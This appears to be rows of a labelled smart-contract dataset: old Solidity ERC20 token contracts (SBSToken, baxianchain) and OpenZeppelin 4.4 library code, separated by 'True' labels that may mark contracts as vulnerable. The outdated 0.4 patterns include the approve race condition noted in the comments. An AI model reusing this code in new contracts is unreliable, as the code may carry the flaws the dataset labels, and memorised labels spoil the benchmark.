function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract SBSToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function SBSToken() public {
symbol = "SBS";
name = "SBSolutions";
decimals = 18;
_totalSupply = 1000000000000000000000000;
balances[0x0Fa633BF5b66a5416D87Cf4597C0B6FaF7F7e5a7] = _totalSupply;
Transfer(address(0), 0x0Fa633BF5b66a5416D87Cf4597C0B6FaF7F7e5a7, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public creator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
// Set creator
creator = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Throws if called by any account other than the creator.
*/
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyCreator {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* Detailed
*/
contract baxianchain is MintableToken,BurnableToken {
string public name = "baxianchain";
string public symbol = "BAAC";
uint256 public decimals = 8;
uint256 public INITIAL_SUPPLY = 3000000000 * (10 ** uint256(decimals));
function baxianchain() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-21
*/
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol
// OpenZeppelin Contracts v4.4.0 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
